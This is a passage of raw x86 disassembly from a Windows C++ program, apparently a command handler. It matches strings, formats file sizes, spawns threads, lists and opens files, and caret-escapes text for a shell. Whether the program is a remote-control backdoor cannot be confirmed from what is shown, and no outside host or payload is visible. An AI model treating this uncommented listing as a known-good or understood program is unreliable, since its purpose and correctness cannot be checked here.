lea ecx, [esp + 0xd7c]
mov dword [esp + 0x3c], ebp
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [esp + 0x2317c], 0x18
jmp 0x403404
push 0x40f6dc
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0xd44]
mov ebx, 0x1b
push eax
mov dword [esp + 0x23180], ebx
call fcn.004083f0
add esp, 4
test al, al
je 0x402c85
xor edi, edi
push 0x40f6dc
mov ecx, 0x415e5c
mov dword [0x41592c], edi
mov dword [0x415a34], edi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
fldz
push 0x40f6dc
fstp qword [0x415d50]
mov ecx, 0x415e40
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 0x40f8a4
lea ecx, [esp + 0xd48]
push ecx
lea edx, [esp + 0x130]
push edx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
add esp, 0xc
push eax
mov ecx, 0x415e40
mov byte [esp + 0x23180], 0x1c
call dword [0x40f158]
lea ecx, [esp + 0x128]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
sub esp, 0x1c
lea eax, [esp + 0xd60]
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00405b50
add esp, 0x1c
push 0xf8
lea edx, [esp + 0x10da]
xor ecx, ecx
push edi
push edx
mov word [esp + 0x10e0], cx
call sub.MSVCR90.dll_memset
fld qword [0x40fbc0]
fld qword [0x415d50]
add esp, 0xc
fcom st(1)
push 0xa
fnstsw ax
fstp st(1)
test ah, 0x41
jne 0x403a5f
fmul qword [0x40fbc8]
lea eax, [esp + 0x10d8]
push eax
fst qword [0x415d50]
call fcn.0040c6a0
mov esi, dword [sym.imp.MSVCR90.dll__itoa]
push eax
call esi
add esp, 0xc
push 0x40f8a8
mov ecx, 0x415e5c
call dword [0x40f1d0]
lea ecx, [esp + 0x10d4]
push ecx
mov ecx, 0x415e5c
call dword [0x40f1d0]
push str._GB
jmp 0x403b5f
fld qword [0x40fbe0]
fcomp st(1)
fnstsw ax
test ah, 5
jp 0x403ac0
fmul qword [0x40fbb8]
lea edx, [esp + 0x10d8]
push edx
fst qword [0x415d50]
call fcn.0040c6a0
mov esi, dword [sym.imp.MSVCR90.dll__itoa]
push eax
call esi
add esp, 0xc
push 0x40f8a8
mov ecx, 0x415e5c
call dword [0x40f1d0]
lea eax, [esp + 0x10d4]
push eax
mov ecx, 0x415e5c
call dword [0x40f1d0]
push str._MB
jmp 0x403b5f
fld qword [0x40fbd8]
fcomp st(1)
fnstsw ax
test ah, 5
jp 0x403b1e
fmul qword [0x40fbd0]
lea ecx, [esp + 0x10d8]
push ecx
fst qword [0x415d50]
call fcn.0040c6a0
mov esi, dword [sym.imp.MSVCR90.dll__itoa]
push eax
call esi
add esp, 0xc
push 0x40f8a8
mov ecx, 0x415e5c
call dword [0x40f1d0]
lea edx, [esp + 0x10d4]
push edx
mov ecx, 0x415e5c
call dword [0x40f1d0]
push str._KB
jmp 0x403b5f
lea eax, [esp + 0x10d8]
push eax
call fcn.0040c6a0
mov esi, dword [sym.imp.MSVCR90.dll__itoa]
push eax
call esi
add esp, 0xc
push 0x40f8a8
mov ecx, 0x415e5c
call dword [0x40f1d0]
lea ecx, [esp + 0x10d4]
push ecx
mov ecx, 0x415e5c
call dword [0x40f1d0]
push 0x40f8e8
mov ecx, 0x415e5c
call dword [0x40f1d0]
push str._r_n
mov ecx, 0x415e5c
call dword [0x40f1d0]
fldz
fcomp qword [0x415d50]
fnstsw ax
test ah, 0x44
jnp 0x403cc4
push 0xf8
lea eax, [esp + 0x11da]
xor edx, edx
push edi
push eax
mov word [esp + 0x11e0], dx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0xf8
lea edx, [esp + 0x12da]
xor ecx, ecx
push edi
push edx
mov word [esp + 0x12e0], cx
call sub.MSVCR90.dll_memset
mov ecx, dword [0x415a34]
add esp, 0xc
push 0xa
lea eax, [esp + 0x11d8]
push eax
push ecx
call esi
mov eax, dword [0x41592c]
add esp, 0xc
push 0xa
lea edx, [esp + 0x12d8]
push edx
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x11d4]
push ecx
mov ecx, 0x415e5c
call dword [0x40f1d0]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x40f8ec
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x10c]
call fcn.00409650
add esp, 0x1c
push eax
mov ecx, 0x415e5c
mov byte [esp + 0x23180], 0x1d
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0xf0]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str._r_n
mov ecx, 0x415e5c
call dword [0x40f1d0]
lea edx, [esp + 0x12d4]
push edx
mov ecx, 0x415e5c
call dword [0x40f1d0]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x40f8f8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x9c]
call fcn.00409650
add esp, 0x1c
push eax
mov ecx, 0x415e5c
mov byte [esp + 0x23180], 0x1e
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x80]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x18
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0x415e5c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0xd44]
jmp 0x403418
push 0x40f6dc
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0xd44]
push eax
mov dword [esp + 0x23180], 0x1f
call fcn.004083f0
add esp, 4
test al, al
je 0x402c85
push 0x40f6da
mov ecx, 0x415e78
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea ecx, [esp + 0xd44]
push ecx
mov ecx, 0x415e78
call dword [0x40f158]
push 0
push 0
push 0
push 0x40a330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 0xd44]
jmp 0x403418
lea ecx, [esp + 0xd60]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd60]
push edx
mov dword [esp + 0x23180], 0x20
call fcn.004083f0
add esp, 4
test al, al
je 0x4055c7
cmp byte [0x415625], 0
mov ebp, 0x10
jne 0x403fc1
push 0x40f900
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
sub esp, 0x1c
mov bl, 0x21
mov byte [esp + 0x23198], bl
lea eax, [esp + 0xd60]
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0xb8]
call fcn.00409650
add esp, 0x1c
push eax
lea ecx, [esp + 0xd48]
mov byte [esp + 0x23180], 0x22
call dword [0x40f158]
lea ecx, [esp + 0x9c]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov esi, dword [sym.imp.MSVCP90.dll_bool___cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
lea ecx, [esp + 0xd60]
push 0x40f91c
push ecx
call esi
add esp, 8
test al, al
je 0x403e87
push 0x40f920
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
sub esp, 0x1c
lea edx, [esp + 0xd60]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0xf0]
call fcn.00409650
add esp, 0x1c
push eax
lea ecx, [esp + 0xd48]
mov byte [esp + 0x23180], 0x23
call dword [0x40f158]
lea ecx, [esp + 0xd4]
jmp 0x403ef2
lea eax, [esp + 0xd60]
push 0x40f95c
push eax
call esi
add esp, 8
test al, al
je 0x403eff
push 0x40f960
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
sub esp, 0x1c
lea edx, [esp + 0xd60]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x128]
call fcn.00409650
add esp, 0x1c
push eax
lea ecx, [esp + 0xd48]
mov byte [esp + 0x23180], 0x24
call dword [0x40f158]
lea ecx, [esp + 0x10c]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
sub esp, 0x1c
lea eax, [esp + 0xd60]
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00408ec0
add esp, 0x1c
test al, al
je 0x404001
mov ecx, dword [esp + 0xd58]
add ecx, 3
push ecx
call fcn.0040b524
mov edx, dword [esp + 0xd5c]
mov esi, eax
mov byte [edx + esi], 0
mov eax, dword [esp + 0xd4c]
add esp, 4
cmp dword [esp + 0xd5c], ebp
jae 0x403f5d
lea eax, [esp + 0xd48]
push eax
mov eax, dword [esp + 0xd5c]
add eax, 2
push eax
push esi
call dword [sym.imp.MSVCR90.dll_strcpy_s]
add esp, 0xc
push 0
push 0
push esi
push 0x407140
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [0x415625], 0
jne 0x403fa3
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call edi
cmp byte [0x415625], 0
je 0x403f96
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0xd44]
mov byte [esp + 0x2317c], 0x20
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [0x4160f4]
cmp dword [0x416108], ebp
jae 0x403fd4
mov ecx, 0x4160f4
mov eax, dword [esp + 0xd64]
cmp dword [esp + 0xd78], ebp
jae 0x403feb
lea eax, [esp + 0xd64]
mov esi, dword [sym.imp.MSVCR90.dll_strstr]
push ecx
push eax
call esi
add esp, 8
test eax, eax
je 0x404064
call fcn.00408160
push 0x415d7c
lea ecx, [esp + 0xdf0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x1b
sub esp, 0x1c
mov byte [esp + 0x2319c], 0x25
lea edx, [esp + 0xe0c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0xdec]
mov byte [esp + 0x2317c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd44]
mov byte [esp + 0x2317c], 0x20
jmp 0x40340b
xor eax, eax
push 0x21a
push eax
lea ecx, [esp + 0xe56]
push ecx
mov word [esp + 0xe58], ax
call sub.MSVCR90.dll_memset
mov ecx, dword [0x415dd4]
add esp, 0xc
cmp dword [0x415de8], ebp
jae 0x404097
mov ecx, 0x415dd4
mov eax, dword [esp + 0xd64]
cmp dword [esp + 0xd78], ebp
jae 0x4040ae
lea eax, [esp + 0xd64]
push ecx
push eax
call esi
add esp, 8
test eax, eax
jne 0x40415c
mov ecx, dword [0x416244]
cmp dword [0x416258], ebp
jae 0x4040d0
mov ecx, 0x416244
mov eax, dword [esp + 0xd64]
cmp dword [esp + 0xd78], ebp
jae 0x4040e7
lea eax, [esp + 0xd64]
push ecx
push eax
call esi
add esp, 8
test eax, eax
jne 0x40415c
mov ecx, dword [0x416260]
cmp dword [0x416274], ebp
jae 0x404105
mov ecx, 0x416260
mov eax, dword [esp + 0xd64]
cmp dword [esp + 0xd78], ebp
jae 0x40411c
lea eax, [esp + 0xd64]
push ecx
push eax
call esi
add esp, 8
test eax, eax
jne 0x40415c
mov ecx, dword [0x415df0]
cmp dword [0x415e04], ebp
jae 0x40413a
mov ecx, 0x415df0
mov eax, dword [esp + 0xd64]
cmp dword [esp + 0xd78], ebp
jae 0x404151
lea eax, [esp + 0xd64]
push ecx
push eax
call esi
add esp, 8
test eax, eax
je 0x4041bb
mov esi, dword [esp + 0xd64]
cmp dword [esp + 0xd78], ebp
jae 0x404173
lea esi, [esp + 0xd64]
mov ecx, esi
lea eax, [esp + 0xe4c]
lea edi, [ecx + 1]
nop
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x404180
sub ecx, edi
cmp ecx, 1
jbe 0x4041a6
cmp byte [esi], dl
je 0x4041b6
mov byte [eax], 0x5e
mov dl, byte [esi]
inc eax
mov byte [eax], dl
inc esi
inc eax
cmp byte [esi], 0
jne 0x404192
mov byte [eax], 0
jmp 0x4041ea
mov al, byte [esi]
mov byte [esp + 0xe4c], al
lea eax, [esp + 0xe4d]
mov byte [eax], 0
jmp 0x4041ea
mov ecx, dword [esp + 0xd64]
cmp dword [esp + 0xd78], ebp
jae 0x4041d2
lea ecx, [esp + 0xd64]
lea edx, [esp + 0xe4c]
lea esp, [esp]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x4041e0
lea ecx, [esp + 0xe4c]
push ecx
lea ecx, [esp + 0xd9c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov byte [esp + 0x2317c], 0x26
cmp dword [0x415628], 0
je 0x404240
sub esp, 0x1c
lea edx, [esp + 0xdb4]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407440
lea ecx, [esp + 0xd98]
mov byte [esp + 0x2317c], 0x20
jmp 0x40340b
mov byte [0x415625], 0
lea ecx, [esp + 0xd98]
mov byte [esp + 0x2317c], 0x20
jmp 0x40340b
push 0x40f6dc
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [esp + 0xd44]
mov ebx, 0x27
push eax
mov dword [esp + 0x23180], ebx
call fcn.004083f0
add esp, 4
test al, al
je 0x402c85
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x416048
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea esi, [esp + 0xd60]
call fcn.00407ef0
add esp, 0x1c
test al, al
je 0x405014
cmp dword [esp + 0xd5c], 0x10
mov eax, dword [esp + 0xd48]
jae 0x4042d4
lea eax, [esp + 0xd48]
push 0xfde9
lea ecx, [esp + 0x52c]
push eax
lea eax, [esp + 0x52c]
mov dword [esp + 0x52c], ecx
call fcn.0040abc0
lea edx, [esp + 0x18]
mov byte [esp + 0x2317c], 0x28
mov ecx, dword [esp + 0x524]
push edx
call fcn.0040aa10
mov byte [esp + 0x2317c], 0x2a
mov eax, dword [esp + 0x524]
lea ecx, [esp + 0x528]
cmp eax, ecx
je 0x404331
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x18]
lea edx, [esp + 0xe4c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ebx, ebx
push 0x20044
lea ecx, [esp + 0x312c]
mov esi, eax
push ebx
push ecx
mov dword [esp + 0x48], esi
mov dword [esp + 0x3130], ebx
call sub.MSVCR90.dll_memset
add esp, 0xc
cmp esi, 0xffffffff
jne 0x4043e4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x58], esp
push 0x40f99c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0xdd0]
call fcn.00409650
add esp, 0x1c
push 0x1a
sub esp, 0x1c
mov byte [esp + 0x2319c], 0x2b
lea edx, [esp + 0xdd4]
mov ecx, esp
mov dword [esp + 0x5c], esp
push edx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.004082f0
add esp, 0x20
lea ecx, [esp + 0xdb4]
mov byte [esp + 0x2317c], 0x2a
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [esp + 0x18]
call fcn.0040aae0
lea ecx, [esp + 0xd44]
jmp 0x403418
mov ebp, 8
lea esp, [esp]
test byte [esp + 0xe4c], 0x10
je 0x404a59
push 0x838
lea eax, [esp + 0x28ec]
push ebx
push eax
mov dword [esp + 0x28f0], ebx
call sub.MSVCR90.dll_memset
lea eax, [esp + 0xe84]
add esp, 0xc
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404424
lea edi, [esp + 0x28e4]
sub eax, esi
add edi, 0xfffffffe
jmp 0x404440
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x404440
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x3fe
rep movsb byte es:[edi], byte [esi]
lea edx, [esp + 0x13e2]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x13e8], cx
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [esp + 0xd44]
push eax
lea ecx, [esp + 0xd80]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23198], 0x2c
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40f9c4
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd98]
call fcn.00407f90
add esp, 0x1c
push 0x40f8a4
mov ecx, esi
call dword [0x40f1d0]
push 0x7fc
lea ecx, [esp + 0x18ec]
push ebx
push ecx
mov dword [esp + 0x18f0], ebx
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0xd8c]
add esp, 0xc
cmp dword [esp + 0xd94], 0x10
jae 0x4044fc
lea eax, [esp + 0xd80]
push 0xfde9
lea edx, [esp + 0x838]
push eax
lea eax, [esp + 0x838]
mov dword [esp + 0x838], edx
call fcn.0040abc0
lea eax, [esp + 0x30]
mov byte [esp + 0x2317c], 0x2d
mov ecx, dword [esp + 0x830]
push eax
call fcn.0040aa10
mov byte [esp + 0x2317c], 0x2f
mov eax, dword [esp + 0x830]
lea ecx, [esp + 0x834]
cmp eax, ecx
je 0x404559
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x30]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404560
lea edi, [esp + 0x18e4]
sub eax, edx
add edi, 0xfffffffe
jmp 0x404580
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x404580
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0xe78]
rep movsb byte es:[edi], byte [esi]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4045a5
lea edi, [esp + 0x18e4]
sub eax, edx
add edi, 0xfffffffe
lea esp, [esp]
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4045c0
mov ecx, eax
shr ecx, 2
push ebx
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x2000000
push 3
push ebx
push 1
mov ecx, eax
push SysReAllocString
lea edx, [esp + 0x18fc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404626
push esi
lea edi, [esp + 0x13e0]
call fcn.0040a0d0
add esp, 4
test eax, eax
je 0x404626
mov eax, edi
push eax
push 0x40f9c8
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x78]
push ecx
mov ecx, 0x4161ec
call dword [sym.imp.MSVCP90.dll_public:_class_std::_String_iterator_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::end_void_]
lea edx, [esp + 0x60]
push edx
mov ecx, 0x4161ec
mov esi, eax
call dword [sym.imp.MSVCP90.dll_public:_class_std::_String_iterator_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::begin_void_]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax]
push ecx
push edx
lea esi, [esp + 0xda8]
call fcn.0040b220
mov byte [esp + 0x2317c], 0x30
mov eax, dword [esp + 0xd9c]
cmp dword [esp + 0xdb0], ebp
jae 0x404688
lea eax, [esp + 0xd9c]
mov edx, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404690
lea edi, [esp + 0x28e4]
sub eax, edx
add edi, 0xfffffffe
jmp 0x4046b0
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4046b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0xa3c]
push 0xfde9
lea ecx, [esp + 0x13e0]
mov dword [esp + 0xa3c], eax
push ecx
lea eax, [esp + 0xa40]
call fcn.0040abc0
lea edx, [esp + 0x28]
mov byte [esp + 0x2317c], 0x31
mov ecx, dword [esp + 0xa38]
push edx
call fcn.0040aa10
mov byte [esp + 0x2317c], 0x33
mov eax, dword [esp + 0xa38]
lea ecx, [esp + 0xa3c]
cmp eax, ecx
je 0x404730
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x28]
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404736
lea edi, [esp + 0x28e4]
sub eax, esi
add edi, 0xfffffffe
lea ecx, [ecx]
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x404750
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea edx, [esp + 0x70]
rep movsb byte es:[edi], byte [esi]
push edx
mov ecx, 0x416064
call dword [sym.imp.MSVCP90.dll_public:_class_std::_String_iterator_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::end_void_]
mov esi, eax
lea eax, [esp + 0x68]
push eax
mov ecx, 0x416064
call dword [sym.imp.MSVCP90.dll_public:_class_std::_String_iterator_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::begin_void_]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax]
push ecx
push edx
lea esi, [esp + 0xd70]
call fcn.0040b220
mov byte [esp + 0x2317c], 0x34
mov eax, dword [esp + 0xd64]
cmp dword [esp + 0xd78], ebp
jae 0x4047c5
lea eax, [esp + 0xd64]
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4047c7
lea edi, [esp + 0x28e4]
sub eax, esi
add edi, 0xfffffffe
mov edi, edi
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4047e0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x7fe
lea ecx, [esp + 0x20ea]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x20f0], ax
call sub.MSVCR90.dll_memset
mov edx, dword [0x415508]
add esp, 0xc
push edx
lea eax, [esp + 0x20e8]
push 0x40f888
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0xc
push 0xfde9
lea edx, [esp + 0x20e8]
lea ecx, [esp + 0xc48]
push edx
lea eax, [esp + 0xc48]
mov dword [esp + 0xc48], ecx
call fcn.0040abc0
lea eax, [esp + 0x24]
mov byte [esp + 0x2317c], 0x35
mov ecx, dword [esp + 0xc40]
push eax
call fcn.0040aa10
mov byte [esp + 0x2317c], 0x37
mov eax, dword [esp + 0xc40]
lea ecx, [esp + 0xc44]
cmp eax, ecx
je 0x40489b
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0x24]
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4048a1
lea edi, [esp + 0x28e4]
sub eax, esi
add edi, 0xfffffffe
jmp 0x4048c0
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4048c0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0xfde9
lea eax, [esp + 0x28e8]
and ecx, 3
lea edx, [esp + 0x1ec]
push eax
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x1ec]
mov dword [esp + 0x1ec], edx
call fcn.0040ab00
lea ecx, [esp + 0x2c]
mov byte [esp + 0x2317c], 0x38
push ecx
mov ecx, dword [esp + 0x1e8]
call fcn.0040a970
mov byte [esp + 0x2317c], 0x3a
mov eax, dword [esp + 0x1e4]
lea edx, [esp + 0x1e8]
